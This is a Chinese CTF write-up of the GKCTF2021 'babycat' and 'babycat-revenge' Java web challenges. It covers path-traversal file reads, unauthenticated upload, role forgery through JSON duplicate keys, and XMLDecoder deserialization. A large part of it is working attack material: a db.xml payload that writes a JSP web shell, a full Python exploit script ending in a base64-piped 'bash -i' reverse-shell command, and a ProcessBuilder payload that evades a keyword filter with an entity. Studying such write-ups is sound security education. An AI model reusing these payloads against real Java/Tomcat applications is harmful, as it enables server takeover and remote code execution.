CTF Web安全

GKCTF2021 babycat

Posted on 2021-06-28,6 min read

babycat

首先F12能看到JS代码。

 if($("#login-button").val()=="Log In"){
            $.ajax({
                url:"/login",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(formObject),
                dataType: "text",
                success:function(result){
                    var res = JSON.parse(result);
                    alert(res.msg)
                    if (res.msg=="login success!"){
                        //alert(res.msg)
                        window.location.href="./home";
                    }
                }
            });

可以构造如下请求

data={"username":"guoke","password":"guoke"}

但是这里是用于login的。。register并没有参数。所以将这些参数。直接打register。发现注册成功。之后登陆有个download Test。存在任意文件下载
一般Java题。都是下web.xml->class->审计->RCE 老套路了
反手一个../web.xml。读到了。

照着web.xml读class。由于web.xml是在WEB-INF下。所以我们../就能跳到WEB-INF

com.web.servlet.loginServlet-> ../classes/com/web/servlet/loginServlet.class

依次读源码,着重看upload逻辑

可以看到forward之后没有return。所以后面的代码会继续执行。
可以把这个理解为php中install过了。就直接location到其他页面。但是没die();
java的forward是执行完当前所有代码然后才会执行forward那个文件的代码
具体可以看https://blog.csdn.net/qq_22075041/article/details/78736723

所以。这里就可以未授权上传任意文件。读/proc/self/environ。可以看到他是tomcat起的。而tomcat有个static文件夹。是可以访问的。所以这里上传无限制。跨目录上传jsp到static下。访问就行

目录结构为

webapps
    static
    WEB-INF
        classes

这里直接../../static/guoke.jsp完事

babycat-revenge

修复了上一个题的非预期。继续审计代码。由于非预期无了。所以upload接口需要admin权限。
可以看到

匹配到"role":"(.*?)"就把""内替换为Guest。那么这里就要利用json的特性。{"a":"1","a":"2"}。后面的值会覆盖前面的值。并且支持/**/注释。所以这里第一个role让他匹配到。进入替换逻辑。然后第二个role用/**/不让匹配到。又能正常解析。覆盖前面的role
exp:
{"username":"guoke","password":"test","role":"guest","role":/**/"admin"}
同理。还能\u绕过第二个role
还能直接admin。不加引号。绕过
现在我们能读文件写文件。然后RCE。
在baseDao.class中有个XMLDecoder。会读取db/db.xml
每次注册或登陆都会调用getConnection->getConfig->XMLDecoder
直接搜printwriter xmldecoder 反序列化就有https://www.cnblogs.com/peterpan0707007/p/10565968.html

environ看绝对路径写个js马完事

-----------------------------185101745725986
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: application/octet-stream

<java version="1.8.0_192" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/GUOKE.jsp</string><void method="println">
        <string><![CDATA[`<% javax.script.ScriptEngineManager manager = new javax.script.ScriptEngineManager(null);javax.script.ScriptEngine engine = manager.getEngineByName("js");engine.eval(request.getParameter("guoke")); %>`
]]></string></void><void method="close"/>
    </object>
</java>
-----------------------------185101745725986--

然后发个注册请求。就写完了。

EXP:

import requests
import base64
url="http://dff2f625-4918-4976-bcfa-b018331d658c.node3.buuoj.cn/"
headers={"Cookie":"JSESSIONID=19EFC6DBE21EBB6AD3F67FCD4DF8C4A0"}
data={"data":'{"username":"guoke","password":"guoke","role":"123","role"/**/:"admin"}'}
files = {"file": ("../db/db.xml", base64.b64decode("PGphdmEgdmVyc2lvbj0iMS44LjBfMTkyIiBjbGFzcz0iamF2YS5iZWFucy5YTUxEZWNvZGVyIj4KICAgIDxvYmplY3QgY2xhc3M9ImphdmEuaW8uUHJpbnRXcml0ZXIiPgogICAgICAgIDxzdHJpbmc+L3Vzci9sb2NhbC90b21jYXQvd2ViYXBwcy9ST09UL3N0YXRpYy9HVU9LRS5qc3A8L3N0cmluZz48dm9pZCBtZXRob2Q9InByaW50bG4iPgogICAgICAgIDxzdHJpbmc+PCFbQ0RBVEFbYDwlIGphdmF4LnNjcmlwdC5TY3JpcHRFbmdpbmVNYW5hZ2VyIG1hbmFnZXIgPSBuZXcgamF2YXguc2NyaXB0LlNjcmlwdEVuZ2luZU1hbmFnZXIobnVsbCk7amF2YXguc2NyaXB0LlNjcmlwdEVuZ2luZSBlbmdpbmUgPSBtYW5hZ2VyLmdldEVuZ2luZUJ5TmFtZSgianMiKTtlbmdpbmUuZXZhbChyZXF1ZXN0LmdldFBhcmFtZXRlcigiZ3Vva2UiKSk7ICU+YApdXT48L3N0cmluZz48L3ZvaWQ+PHZvaWQgbWV0aG9kPSJjbG9zZSIvPgogICAgPC9vYmplY3Q+CjwvamF2YT4="))}
requests.post(url+"/register",headers=headers,data=data)
requests.post(url+"/login",headers=headers,data={"data":'{"username":"guoke","password":"guoke"}'})
requests.post(url+"/home/upload",headers=headers,files=files)
requests.post(url+"/register",headers=headers,data=data)
requests.post(url+"/static/GUOKE.jsp",data={"guoke":"function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"bash -c {echo,
}|{base64,-d}|{bash,-i}\")"})

同样的。xml会自动解析html实体编码。可以绕过关键字

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.&#80;rocessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc.exe</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

下一篇: PbootCMS最新版前台RCE(3.0.4)→